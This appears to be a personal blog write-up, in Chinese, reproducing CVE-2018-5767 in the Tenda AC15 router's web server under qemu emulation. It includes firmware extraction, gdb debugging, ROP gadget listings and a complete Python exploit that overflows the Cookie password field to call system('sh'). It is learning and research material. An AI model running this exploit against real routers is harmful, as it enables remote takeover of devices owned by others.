0%

CVE-2018-5767复现

考研期间想复现的漏洞,现在挖出来盘一下。

Tenda-AC15栈溢出漏洞(CVE-2018-5767) by 星期五实验室

cve-2018-5767 路由器栈溢出漏洞复现 by 合天网安实验室

CVE-2018-5767 复现分析 by CataLpa

复现环境

1
2
3
4
5
Ubuntu 20.04
IDA7.7
GDB调试器
Binwalk固件解包工具
路由器固件:Tenda AC15 15.03.1.16_multi

Tenda AC15 15.03.1.16_multi下载地址

sasquatch报错问题解决

复现准备

  • 分离固件系统binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin,得到扫描信息。

  • 切换到./~.extracted/squashfs-root,可以看到提取出的文件系统目录:

1
2
fuzz@fuzz-virtual-machine:~/repeat/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar.extracted/squashfs-root$ ls
bin dev etc etc_ro home init lib mnt proc root sbin sys tmp usr var webroot webroot_ro
  • /bin下看到了busybox文件,依稀记得哪年国赛有见到过,busybox是一个集成了一百多个常用Linux命令和工具的软件,在嵌入式Linux应用中,busybox应用非常广泛,同时大多数Linux发行版的安装程序中都含有busybox。我们查看一下其文件头信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fuzz@fuzz-virtual-machine:~/repeat/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar.extracted/squashfs-root/bin$ readelf -h busybox 
ELF 头:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
类别: ELF32
数据: 2 补码,小端序 (little endian)
Version: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
类型: EXEC (可执行文件)
系统架构: ARM
版本: 0x1
入口点地址: 0xbeec
程序头起点: 52 (bytes into file)
Start of section headers: 366736 (bytes into file)
标志: 0x5000002, Version5 EABI, <unknown>
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 7
Size of section headers: 40 (bytes)
Number of section headers: 24
Section header string table index: 23
  • 我们采用qemu配合chroot来启动/bin/httpd
1
2
3
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
  • 启动后发现程序一直卡在 Welcome to ...
  • 查看源程序,发现有两个检查,在qemu模拟环境下连接不到相关服务,因此patch掉:
1
2
check_network:检查网络
ConnectCfm:连接某种服务
  • 启动修改后的httpd,出现了新问题,ip地址不是本地的:
  • 由此需要自行配置网桥br0后重新执行:
1
2
3
4
5
6
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
sudo chroot ./ ./qemu-arm-static ./bin/httpd

漏洞分析

  • 漏洞位于R7WebsSecurityHandler中:
  • 先来看看sscanf的用法:
1
2
sscanf("zhou456 hedf", "%[^ ]", str); //取到指定字符为止的字符串,取遇到空格为止字符串    
printf("str=%s\n", str); //str=zhou456;

即将源字符串以一定形式(正则)读入到目的字符串。

  • password是用户可控的,它是http请求中cookie上的一个字段,也是伪代码中的v40,而v33数组只有128大小,sscanf(v40, "%*[^=]=%[^;];*", v33);存在栈溢出漏洞。
  • 我们检查下保护机制,除了栈不可执行,其他保护均未开启,容易想到ROP
1
2
3
4
5
Arch:     arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

漏洞复现

  • 首先我们要进入漏洞函数,只需访问如/goform/anza即可绕过判断。
img
  • 访问http://< ip >/goform/anza,用火狐配合burpsuite抓个包:
1
2
3
4
5
6
7
8
GET /goform/anza HTTP/1.1
Host: 192.168.79.152
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
  • 增加Cookie字段送过去,尝试使进程崩溃:
1
2
3
4
5
6
7
8
9
GET /goform/anza HTTP/1.1
Host: 192.168.79.152
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
Upgrade-Insecure-Requests: 1
  • 查看服务端,发现程序出现了段错误:
  • 使用gdb-multiarch调试程序,在此之前现在固定端口打开程序:
1
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
  • 另开一个窗口进行调试:
1
2
gdb-multiarch
target remote :1234
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
R0 0x0
R1 0xfffef87b ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
R2 0x0
R3 0x0
R4 0x0
R5 0x0
R6 0x0
R7 0x0
R8 0x0
R9 0x0
R10 0xd2000 —▸ 0xe520 ◂— push {r3, lr} /* 0xe92d4008 */
R11 0x0
R12 0x0
SP 0xfffef770 ◂— 1
PC 0xff7e1930 (_start) ◂— mov r0, sp /* 0xe1a0000d; '\r' */
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0xff7e1930 <_start> mov r0, sp
0xff7e1934 <_start+4> bl #0xff7e4bb4 <0xff7e4bb4>

0xff7e1938 <_start+8> mov r6, r0
0xff7e193c <_start+12> ldr sl, [pc, #0x30]
0xff7e1940 <_start+16> add sl, pc, sl
0xff7e1944 <_start+20> ldr r4, [pc, #0x2c]
0xff7e1948 <_start+24> ldr r4, [sl, r4]
0xff7e194c <_start+28> ldr r1, [sp]
0xff7e1950 <_start+32> sub r1, r1, r4
0xff7e1954 <_start+36> add sp, sp, r4, lsl #2
0xff7e1958 <_start+40> add r2, sp, #4
  • 断点下在End of function R7WebsSecurityHandler即执行如下命令:
1
2
b *0x002ED18
continue
  • 而后再打开一个窗口,我们用pythonrequest库将数据传过去:
1
2
3
4
5
# exp.py
import requests
URL = "http://192.168.79.152/goform/anza"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)
  • 但我们没有按预期返回,而是被某子函数干扰了,gdb中利用bt命令溯源一下:
  • ida中找到干扰函数所在位置,我们要想办法防止程序执行流走到该分支:
  • 修改payload,使password加上.gif即可直接返回,如下:
1
2
3
4
import requests
URL = "http://192.168.79.152/goform/anza"
cookie = {"Cookie":"password="+"a"*0x400+".gif"}
requests.get(url=URL, cookies=cookie)
  • 重复上述流程,程序执行流来到我们发生的垃圾数据,我们注意到地址是0x61616160而非0x61616161,这是因为arm模式与thumb模式的切换问题。在函数退出时执行了pop pc的操作,而其最低有效位(LSB)将会被写入到CPSR寄存器(当前程序状态寄存器)的T位中:
  • 在构造ROP链之前,首先我们需要明白32位arm架构是如何进行系统调用的:
  • 本质和x86/x64大差不差,用ROPgagdet找到需要的gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
fuzz@fuzz-virtual-machine:~/repeat/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar.extracted/squashfs-root/bin$ ROPgadget --binary httpd --only "pop"
Gadgets information
============================================================
0x0000ec88 : pop {fp, pc}
0x000b06bc : pop {r0, pc}
0x000b0e0c : pop {r1, pc}
0x0000e510 : pop {r3, pc}
0x0000e5f0 : pop {r3, r4, fp, pc}
0x0009ffb4 : pop {r3, r4, r5, pc}
0x000a0320 : pop {r3, r4, r5, r6, r7, pc}
0x000a5e30 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x0000ec00 : pop {r4, fp, pc}
0x0009fd10 : pop {r4, pc}
0x0000ed80 : pop {r4, r5, fp, pc}
0x000ae530 : pop {r4, r5, pc}
0x000281f4 : pop {r4, r5, r6, fp, pc}
0x0009fde4 : pop {r4, r5, r6, pc}
0x0001bff0 : pop {r4, r5, r6, r7, fp, pc}
0x000a07c4 : pop {r4, r5, r6, r7, pc}
0x0004aec4 : pop {r4, r5, r6, r7, r8, fp, pc}
0x000a002c : pop {r4, r5, r6, r7, r8, pc}
0x0003cfe8 : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x00090408 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x000a1e78 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000a5128 : pop {r4, r5, r6, r7, r8, sl, fp, pc}
0x0009fe44 : pop {r4, r5, r6, r7, r8, sl, pc}
0x0007036c : pop {r4, r6, r7, fp, pc}

Unique gadgets found: 24

第一次还看不懂,想着ret在哪里,忽然发现pop pc就是ret

  • 计算偏移为448,构造执行puts("ANZA_HACK")rop链发现失败,不难猜测原因是sscanf\x00截断了(因为用的源程序的gadget,高位为\x00),故采用libcgagdet,首先要计算本地libc基址,根据之前在strstr处出错的图可得:

注:与 ctf 中不同的一点是这种 web 服务在崩溃后一般会立刻重启,并且重启之后的 libc 地址和之前是相同的,所以爆破 libc 是比较常用的攻击手段,不过 qemu 没办法提供这种爆破 libc 的条件,我们先假定我们知道 libc 基址。

1
libc_base=0xff613954-24-libc.sym["strstr"]
  • 最终exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
from pwn import *
libc=ELF("./lib/libc.so.0")

libc_base=0xff613954-24-libc.sym["strstr"]
pop_r0_ret=libc_base+0x0003db80
system=libc_base+libc.sym["system"]
sh_addr=0xfffeeca8
log.success("libc_base="+hex(libc_base))
payload="a"*444+".gif"+p32(pop_r0_ret).decode('unicode_escape')+p32(sh_addr).decode('unicode_escape')+p32(system).decode('unicode_escape')
payload+="sh\x00\x00"
print(payload)
URL = "http://192.168.79.152/goform/anza"
cookie = {"Cookie":"password="+payload}
requests.get(url=URL, cookies=cookie)
  • 其他博客的结果都不能getshell。。。。我反而可以getshell,效果如下:

总结

很有意思的一次实验,接触了很多以前只是听过但是未投入实践的知识,算是入门漏洞挖掘的第一步吧,当然还有很多细节没有盘清楚,未来还需努力。再次感谢博客师傅们。